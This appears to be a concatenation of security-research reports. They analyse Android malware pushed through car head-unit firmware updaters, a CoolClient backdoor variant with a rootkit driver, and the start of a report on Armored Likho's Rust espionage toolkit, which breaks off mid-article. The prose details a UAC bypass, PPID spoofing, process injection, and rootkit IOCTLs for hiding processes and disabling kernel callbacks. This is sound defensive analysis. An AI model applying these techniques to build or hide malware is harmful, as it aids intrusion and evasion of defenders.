While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.
Key findings:
We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.
Kaspersky solutions detect the threats described below under the following detection names:
HEUR:Trojan-Dropper.AndroidOS.Agent.vu
HEUR:Trojan-Downloader.AndroidOS.Agent.ov
HEUR:Trojan-Proxy.AndroidOS.Zhima.*
HEUR:Trojan.AndroidOS.Vo1d.*
Head unit firmware overview
A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.
In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.
Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.
It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.
During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.
Below is the entire infection chain:
Head unit infection scheme
Let’s look at exactly how these head units became infected.
The TWCore app
TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.
The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.
TWCore only checks whether an app is already installed on the device when installNotExists = false
The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.
The path TWCore uses to download APK files
Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.
Next, we’ll break down the malware installed by TWCore: the JarService dropper.
Stage 1: the JarService dropper
As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.
Decrypting and deserializing information about the stage 2 payload
In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.
Stage 2: the loader
This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:
The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.
Decrypting the stage 3 payload
In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.
Entry point of the stage 3 payload
While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.
Stage 3: clicker / reverse proxy loader
In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.
If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.
The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.
List of executable commands
At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.
Command name
Description
Arguments
return
Return a value from SharedPreferences.
key: the key whose value should be returned
copy
Set the contents of the clipboard.
text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with (5 spaces) used as a separator
http
Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.
url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web
Open a link in the WebView and execute arbitrary JavaScript code within it.
url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib
Not fully implemented at the time of publishing this report.
–
loadlib2
Download and execute arbitrary code.
url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3
Not fully implemented at the time of publishing this report.
–
deeplink
Open a resource in the browser.
url: a link to the resource
traceroute
Check resource availability via an ICMP ping.
host: comma-separated list of resources to check
However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.
While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.
Attribution
While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.
While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.
The malware operator registration page
During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.
We found several similarities in the authentication APIs across all of these sites:
The sign-in page was hosted on an admin.* subdomain.
The sign-in page was located at /proxy/u/login.
The signup page was located at /proxy/register?channelKey=<invitation code>.
Based on this, we believe these services are connected to MoYu Group.
Conclusion
Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
Technical analysis
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
CoolClient components
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
Component
Description
defender.exe / Sang.exe
Legitimate Sangfor application abused for DLL sideloading
libsrapc.dll
Benign dependency required for the Sangfor application to execute normally
libngs.dll
First-stage loader that decrypts and loads the next stage into memory (First stage)
loadcert.ini
Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage)
cert.ini
Final-stage implant responsible for C2 communication and backdoor functionality (Final stage)
time.ini
CoolCleint configuration file
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Overview of the new variant of CoolClient
First stage: libngs.dll
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
Second stage: loadcert.ini (before synchost.exe injection)
The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
Command handler
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
Parameter
Purpose
install
Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path.
work
Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading.
passuac
Continues execution after privilege elevation.
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
Establishing AutoRun persistence
When executed with the install parameter, CoolClient creates an AutoRun entry under:
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Process injection into synchost.exe
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
Service installation
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
Function to check for running 360 Total Security software processes
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
Administrator privilege check
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
Elevated relaunch and UAC bypass
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
Authenticated RPC binding used during the RPC-based UAC bypass
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
Second stage: loadcert.ini (Injected Execution)
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
Kernel-Mode driver deployment
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
Driver initialization
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
IOCTL
Purpose
0x222120
Registers the current CoolClient process with the driver.
0x2221E0
Sends the configured C2 IPv4 address to the driver.
0x2220F0
Registers filesystem and registry paths that should be protected or hidden.
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Cert.ini process injection
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Msagent.sys driver
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
The path contains several notable strings, including “Nanjing Laboratory” (南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
Driver configuration
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Registry configuration loaded by the driver during initialization
Two REG_DWORD values control the driver’s operating mode:
Registry Value
Default
Description
Hid_State
1
Enables the driver’s rootkit functionality.
Hid_StealthMode
0
Controls additional stealth features used by selected driver routines.
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
Registry Value
Purpose
Wid_H1deF5Dirs
Directories to hide
Wid_H1deF5Files
Files to hide
Wid_H1deRegKeys
Registry keys to hide
Wid_H1deRegValues
Registry values to hide
Hid_IgnoredImages
Processes to ignore
Hid_ProtectedImages
Processes to protect
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Preparation for process hiding
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
The driver validates candidate ActiveProcessLinks layouts before enabling process hiding
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
Process, object, and image load callbacks
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
Object callbacks using ObRegisterCallbacks
Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
Image load callbacks using PsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization
After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
Object callbacks
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
Process and image load callbacks
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
MiniFilter registration
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
Registry callback registration
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
IOCTL command dispatcher
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
0x222120: registers the current CoolClient process with the driver.
0x2221E0: passes the configured C2 IPv4 address.
0x2220F0: registers filesystem and registry paths for protection.
The remaining IOCTL handlers were not invoked by the analyzed sample.
IOCTL
Handler
Functionality
0x222000
0x140001E04
Enable or disable the rootkit.
0x222004
0x1400020B0
Query the current rootkit state.
0x2220F0
0x140002320
● Register protected filesystem or registry paths
● Used by CoolClient to register its installation directory and service registry key.
0x2220F4
0x1400034DC
Remove a protected filesystem or registry path.
0x2220F8
0x140003464
Clear all protected filesystem and registry path entries.
0x222118
0x1400024B0
Register process or path protection entries.
0x22211C
0x140002A20
Query registered protection entries.
0x222120
0x140003794
Update process protection entries. Used by CoolClient to register itself as a trusted process.
0x222124
0x14000362C
Remove a protection entry.
0x222128
0x14000349C
Clear all process protection entries.
0x222130
0x14000265C
Register a protected process by PID.
0x222134
0x140010E88
Inject shellcode into a target process using NtCreateThreadEx.
0x222138
0x14000F498
Hide a kernel module by unlinking it from PsLoadedModuleList.
0x222144
0x14000270C
Delete a file.
0x222148
0x14000286C
Decrypt an embedded buffer and write it to disk.
0x22214C
0x1400027F4
Read and decrypt an encrypted file.
0x222168
0x140002780
Unmap the image section of a target process.
0x22216C
0x140013984
Terminate a process by PID.
0x222194
0x140011F50
Remove Protected Process Light (PPL) protection.
0x222198
0x140002940
Create or modify a registry value.
0x22219C
0x140010630
Hide a process by unlinking it from the active process list.
0x2221A0
0x140010670
Restore a previously hidden process.
0x2221A4
0x14000F8A0
Hide a module within a process.
0x2221A8
0x14000F954
Restore a hidden module.
0x2221AC
0x140016368
Enumerate and restore kernel notification callbacks.
0x2221B0
0x140016458
Disable or restore kernel notification callbacks.
0x2221B4
0x140012408
Manually load a secondary kernel driver.
0x2221B8
0x14001262C
Debug/test handler.
0x2221BC
0x1400165F6
Write to an arbitrary kernel address.
0x2221C0
0x14000BB00, 0x14000BB78
Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic.
0x2221C4
0x14000BB6C, 0x14000BB10
Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic.
0x2221E0
0x1400126C0
Register a C2 IPv4 address.
0x2221E4
0x140012E50
Delete a C2 IPv4 address.
After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.
Kernel module enumeration and hiding
To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.
Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding
This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.
Nsiproxy hooking and data filtering
The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.
To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.
Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine
When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.
Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.
Victimology
The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.
Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.
Attribution
Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.
The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.
Conclusion
The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.
HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.
In May 2026, we discovered a new cyber-espionage campaign by the Armored Likho group, also known as Eagle Werewolf, that targets private individuals and organizations across various industries in Russia, including major corporations, the public sector, IT, and education. The attackers used a fake app as bait that mimics a service for donations. However, the most interesting part of this campaign isn’t the initial infection method – it’s the malicious implants the attackers use for cyber-espionage.
We’ve written previously about recent Armored Likho attacks, but our analysis shows that the campaign discussed below has more in common with the group’s activity from February. That said, the attackers have significantly expanded their arsenal.
During our research, we found a new cyber-espionage toolkit written in Rust: the Still Toolkit. One of its components, Still Sync, steals Telegram session data to gain ongoing access to the victim’s account. With this stolen data, attackers can leverage the Telegram API to automatically pull chat logs, media files, and other information from the account.
The second component, Still Audio, is an implant for covert audio surveillance. It analyzes the incoming audio stream, automatically detects speech, records conversations, and sends the recordings to a command-and-control server.
In this article, we’ll look at the initial infection method, how the new Still Toolkit components are built, and the technical details of how they operate.
Kaspersky products detect this threat as Trojan.Win64.Agent.* and HEUR:Backdoor.Win32.Generic.
Background
